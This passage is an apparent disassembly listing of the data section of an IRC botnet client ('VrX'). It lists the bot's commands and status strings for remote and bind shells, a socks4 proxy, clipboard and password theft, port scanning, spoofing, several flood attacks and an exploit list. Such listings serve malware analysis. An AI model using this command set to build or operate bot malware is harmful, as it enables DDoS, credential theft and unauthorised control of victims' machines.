unk_42BBEC	db  2Dh	; -		; DATA XREF: sub_401ACD+2D0Ao
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_17	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BC2C	db  2Dh	; -		; DATA XREF: sub_401ACD+2C86o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42BC58	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C04o
aFailedToSta_18	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42BC94	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2B95o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42BCBC	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2AE2o
dword_42BCCC	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2ADDo
dword_42BCD8	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2ACAo
dword_42BCE8	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2AC5o
unk_42BCF8	db    3			; DATA XREF: sub_401ACD+2A52o
a81VrxReconne_1	db '8,1-VrX- Reconnecting.',0
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404512o
					; sub_401ACD:loc_409570o ...
		align 4
unk_42BD28	db    3			; DATA XREF: sub_401ACD+2A30o
a81VrxDisconnec	db '8,1-VrX- Disconnecting.',0
		align 4
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044F0o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044DAo
					; sub_401ACD+78C1o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+29FBo
		align 4
unk_42BD78	db    3			; DATA XREF: sub_401ACD+29D4o
a81VrxStatusRea	db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0
		align 4
unk_42BDA4	db    3			; DATA XREF: sub_401ACD+2995o
a81VrxBotIdS_	db '8,1-VrX- Bot ID: %s.',0
		align 4
unk_42BDBC	db  2Dh	; -		; DATA XREF: sub_401ACD+2986o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_19	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42BDF8	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+2917o
		dd 65726874h, 2E736461h, 0
dword_42BE18	dd 627573h		; DATA XREF: sub_401ACD+28F1o
unk_42BE1C	db    3			; DATA XREF: sub_401ACD+289Fo
a81VrxAliasList	db '8,1-VrX- Alias list.',0
		align 4
unk_42BE34	db  2Dh	; -		; DATA XREF: sub_401ACD+2884o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_20	db '- Failed to start listing thread, error: <%d>.',0
dword_42BE6C	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2815o
		dd 2E676Fh
unk_42BE84	db    3			; DATA XREF: sub_401ACD+276Do
a81VrxNetworkIn	db '8,1-VrX- Network Info.',0
unk_42BE9C	db    3			; DATA XREF: sub_401ACD+273Eo
a81VrxSystemInf	db '8,1-VrX- System Info.',0
		align 4
unk_42BEB4	db    3			; DATA XREF: sub_401ACD+26E9o
a81VrxRemovingB	db '8,1-VrX- Removing Bot.',0
unk_42BECC	db  2Dh	; -		; DATA XREF: sub_401ACD+26CDo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_21	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_42BF08	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+2658o
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+2638o
		align 4
unk_42BF2C	db  2Dh	; -		; DATA XREF: sub_401ACD+25D9o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_2	db ' Already running.',0
		align 4
unk_42BF4C	db    3			; DATA XREF: sub_401ACD+2588o
a81VrxUptimeS_	db '8,1-VrX- Uptime: %s.',0
		align 4
unk_42BF64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F8Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42BF84	db  2Dh	; -		; DATA XREF: sub_401ACD+24B6o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42BFAC	db  2Dh	; -		; DATA XREF: sub_401ACD+249Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
unk_42BFD8	db    3			; DATA XREF: sub_401ACD+2484o
a81VrxGetClipbo	db '8,1-VrX- Get Clipboard.',0
		align 4
dword_42BFF4	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+2456o
		dd 2Dh
unk_42C00C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F13o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42C038	db  2Dh	; -		; DATA XREF: sub_401ACD+243Fo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42C05C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403EE8o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42C088	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403EE1o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42C0B4	db  2Dh	; -		; DATA XREF: sub_401ACD+240Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42C0D8	db  2Dh	; -		; DATA XREF: sub_401ACD+23BAo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_22	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42C114	db  2Dh	; -		; DATA XREF: sub_401ACD+234Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C150	db  2Dh	; -		; DATA XREF: sub_401ACD+2265o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_23	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C18C	db  2Dh	; -		; DATA XREF: sub_401ACD+21FAo
					; sub_40BD91+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C1C8	db  2Dh	; -		; DATA XREF: sub_401ACD+20F3o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C204	db  2Dh	; -		; DATA XREF: sub_401ACD+2084o
					; sub_40BD91+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42C238	db  2Dh	; -		; DATA XREF: sub_401ACD+1FCFo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
unk_42C258	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403A86o
		db 3, 34h, 2
		db  4Dh	; M
		db 61h,	2 dup(53h)
		db  20h
		db 53h,	63h, 41h
		db  6Eh	; n
		db 2, 3, 2Dh
aFailedToSta_25	db ' Failed to start scan, port is invalid.',0
unk_42C290	db  2Dh	; -		; DATA XREF: sub_401ACD+1F6Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_26	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42C2CC	db  2Dh	; -		; DATA XREF: sub_401ACD+1EFBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanStart	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1ED0o
					; sub_401ACD+5B20o
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1EC9o
					; sub_401ACD+5B19o
		align 4
dword_42C34C	dd 234032Dh, 3025A56h	; DATA XREF: sub_401ACD+1D0Fo
aAlreadyDScanni	db '- Already %d scanning threads. Too many specified.',0
		align 4
unk_42C388	db  2Dh	; -		; DATA XREF: sub_401ACD+1CB2o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_27	db 'Failed to start search thread, error: <%d>.',0
unk_42C3C4	db  2Dh	; -		; DATA XREF: sub_401ACD+1C38o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1BEFo
		align 10h
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1BDEo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+1BC8o
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1BB1o
		align 4
aAs		db 'as',0               ; DATA XREF: sub_401ACD+1B9Co
		align 10h
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1B87o
unk_42C444	db    3			; DATA XREF: sub_401ACD+1B37o
a81VrxCrashingB	db '8,1-VrX- Crashing bot.',0
aShitycrash	db 'shitycrash',0       ; DATA XREF: sub_401ACD+1B21o
					; sub_401ACD+1B71o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B0Co
		align 10h
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1AF7o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1AE2o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1ACDo
		align 10h
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1AB8o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1AA3o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1A8Eo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1A79o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1A64o
		align 10h
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1A4Fo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A3Ao
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A25o
		align 10h
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A10o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+19FBo
unk_42C4EC	db  2Dh	; -		; DATA XREF: sub_401ACD+19BDo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+19A2o
					; sub_401ACD+3C81o ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+198Eo
		align 10h
unk_42C520	db    3			; DATA XREF: sub_401ACD+196Eo
a81VrxLoginList	db '8,1-VrX- Login list complete.',0
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1939o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_4033F9o
dword_42C550	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+1902o
dword_42C564	dd 6F6877h		; DATA XREF: sub_401ACD+18E5o
dword_42C568	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+18DAo
dword_42C574	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+18D5o
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+18BCo
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+18A7o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+1892o
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+187Do
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+1868o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+1853o
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+183Eo
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1829o
		align 10h
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+1814o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+17FFo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+17EAo
		align 4
aKosomaky4d	db 'KOSOMAKY4D',0       ; DATA XREF: sub_401ACD+17C0o
					; sub_401ACD+17D5o
		align 10h
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17ABo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+1796o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+1781o
		align 10h
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+176Co
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1757o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1742o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+172Do
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1718o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1703o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+16EEo
aT:					; DATA XREF: sub_401ACD+16D9o
					; ___:00438AFCo
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16C4o
unk_42C628	db    3			; DATA XREF: sub_401ACD+1690o
a81VrxFailedToR	db '8,1-VrX- Failed to reboot system.',0
		align 4
unk_42C64C	db    3			; DATA XREF: sub_401ACD+1689o
a81VrxRebooting	db '8,1-VrX- Rebooting system.',0
aR3start	db 'r3start',0          ; DATA XREF: sub_401ACD+1672o
aI:					; DATA XREF: sub_401ACD+165Do
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1648o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1633o
					; ___:00438B4Co
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+161Eo
		align 4
aQ:					; DATA XREF: sub_401ACD+1609o
					; ___:off_438768o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+15F4o
		align 10h
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+15DFo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15CAo
		align 10h
aR:					; DATA XREF: sub_401ACD+15B5o
					; sub_401ACD+3D8Eo ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15A0o
		align 10h
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+158Bo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+1576o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1561o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+154Co
		align 10h
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1537o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1522o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+150Do
		align 10h
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+14F8o
		align 4
dword_42C70C	dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401ACD+14EDo
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+14E8o
		align 10h
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14CFo
		align 4
dword_42C72C	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14C4o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14BFo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14A6o
		align 10h
dword_42C750	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+149Bo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+1496o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+147Do
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1468o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1453o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+143Eo
		align 10h
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1429o
		align 10h
dword_42C7A0	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+141Eo
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+1400o
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+13D7o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13AEo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+1385o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+135Co
unk_42C7E8	db  2Dh	; -		; DATA XREF: sub_401ACD+1342o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C81C	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1307o
					; sub_401ACD+13A3o
dword_42C82C	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1302o
					; sub_401ACD+139Eo
dword_42C83C	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+12E9o
					; sub_401ACD+137Ao
dword_42C84C	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+12E4o
					; sub_401ACD+1375o
dword_42C85C	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+1289o
					; sub_401ACD+13F5o
dword_42C868	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1284o
					; sub_401ACD+13F0o
dword_42C874	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+126Bo
					; sub_401ACD+13CCo
dword_42C880	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1266o
					; sub_401ACD+13C7o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1206o
		align 4
dword_42C898	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+11FBo
					; sub_401ACD+12C8o
dword_42C8A4	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+11F6o
					; sub_401ACD+12C3o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+11DDo
		align 4
dword_42C8BC	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+11D2o
					; sub_401ACD+12AAo
dword_42C8CC	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11CDo
					; sub_401ACD+12A5o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11B4o
		align 4
dword_42C8E8	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11A9o
					; sub_401ACD+1328o
dword_42C8F8	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11A4o
					; sub_401ACD+1323o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+118Bo
		align 4
dword_42C914	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+1180o
					; sub_401ACD+124Ao
dword_42C920	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+117Bo
					; sub_401ACD+1245o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1162o
dword_42C934	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1157o
					; sub_401ACD+122Co
dword_42C940	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1152o
					; sub_401ACD+1227o
dword_42C94C	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1139o
dword_42C958	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+112Eo
dword_42C968	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1129o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+1110o
		align 4
dword_42C988	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1105o
dword_42C994	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+1100o
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+10E7o
dword_42C9A8	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+10DCo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10BEo
		align 4
dword_42C9C4	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10B3o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+1095o
		align 10h
dword_42C9E0	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+108Ao
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+106Co
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1057o
		align 10h
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1042o
		align 4
dword_42CA08	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1037o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+1032o
					; sub_401ACD+1085o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1019o
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+1004o
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+FEFo
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FDAo
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FC5o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FB0o
					; sub_401ACD+2D26o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+F9Bo
					; sub_401ACD+2D15o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401ACD+F86o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F71o
		align 4
aRz		db 'rz',0               ; DATA XREF: sub_401ACD+F5Co
		align 4
aRulez		db 'rulez',0            ; DATA XREF: sub_401ACD+F47o
		align 10h
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F32o
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F1Do
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F08o
		align 10h
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+EF3o
		align 4
aDi3		db 'di3',0              ; DATA XREF: sub_401ACD+EC9o
					; sub_401ACD+EDEo
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+EB4o
		align 10h
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+E9Co
a63		db '63',0               ; DATA XREF: sub_401ACD+D69o
		align 4
asc_42CAAC:				; DATA XREF: sub_401ACD+D41o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D04o
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+CF9o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+CE8o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CCCo
		align 4
aUser_1		db '$user',0            ; DATA XREF: sub_401ACD+CBBo
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CA9o
aD		db '$%d',0              ; DATA XREF: sub_401ACD+C3Bo
aD_0		db '$%d-',0             ; DATA XREF: sub_401ACD+B77o
		align 4
aK:					; DATA XREF: sub_401ACD+A9Fo
					; sub_401ACD+3DBCo
		unicode	0, <k>,0
aC:					; DATA XREF: sub_401ACD+A87o
					; sub_401ACD+4AA4o
		unicode	0, <c>,0
unk_42CAF4	db  2Dh	; -		; DATA XREF: sub_401ACD+A64o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42CB28	db  2Dh	; -		; DATA XREF: sub_401ACD+A53o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42CB58	db  2Dh	; -		; DATA XREF: sub_401ACD+A42o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_28	db '- Failed to start chat thread, error: <%d>.',0
		align 10h
unk_42CB90	db  2Dh	; -		; DATA XREF: sub_401ACD+9D3o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 10h
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+93Co
		align 4
unk_42CBB8	db  2Dh	; -		; DATA XREF: sub_401ACD+91Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42CBFC	db  2Dh	; -		; DATA XREF: sub_401ACD+904o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_29	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42CC38	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+8F3o
		dd 0A0Dh
dword_42CC50	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8BFo
dword_42CC58	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8B4o
		dd 0D017325h, 0Ah
dword_42CC74	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+883o
dword_42CC80	dd 23h			; DATA XREF: sub_401ACD+7FAo
					; sub_40CD43+1Bo
unk_42CC84	db  2Dh	; -		; DATA XREF: sub_401ACD+769o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+6EAo
					; sub_401ACD+979o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6C3o
		align 10h
